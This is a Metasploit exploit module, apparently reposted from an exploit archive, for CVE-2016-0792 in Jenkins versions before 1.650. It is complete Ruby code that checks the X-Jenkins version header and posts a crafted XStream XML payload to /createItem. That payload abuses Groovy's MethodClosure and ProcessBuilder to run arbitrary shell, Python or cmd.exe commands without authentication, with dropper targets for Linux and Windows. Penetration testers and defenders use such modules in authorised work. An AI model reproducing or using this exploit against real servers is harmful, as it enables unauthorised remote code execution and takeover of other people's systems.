Jenkins – XStream Groovy classpath Deserialization (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability', 'Description' => %q{ This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability. }, 'Author' => [ 'Arshan Dabirsiaghi', # Vulnerability discovery 'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module ], 'DisclosureDate' => 'Feb 24 2016', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-0792'], ['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'], ['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413'] ], 'Platform' => %w{ win linux unix }, 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], 'Targets' => [ ['Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD ], ['Python (In-Memory)', 'Platform' => 'python', 'Arch' => ARCH_PYTHON ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] ], ['Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] ] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), Opt::RPORT('8080') ]) deregister_options('URIPATH') end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res fail_with(Failure::Unknown, 'The connection timed out.') end http_headers = res.headers if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650 return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit case target.name when /Unix/, /Python/ execute_command(payload.encoded) else execute_cmdstager end end # Exploit methods def execute_command(cmd, opts = {}) cmd = case target.name when /Unix/, /Linux/ %W{/bin/sh -c #{cmd}} when /Python/ %W{python -c #{cmd}} when /Windows/ %W{cmd.exe /c #{cmd}} end # Encode each command argument with XML entities cmd.map! { |arg| arg.encode(xml: :text) } res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/createItem'), 'vars_get' => { 'name' => 'random' }, 'ctype' => 'application/xml', 'data' => xstream_payload(cmd) ) end def xstream_payload(cmd) <<EOF <map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando"/> <owner class="java.lang.ProcessBuilder"> <command> <string>#{cmd.join('</string><string>')}</string> </command> </owner> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map> EOF end end |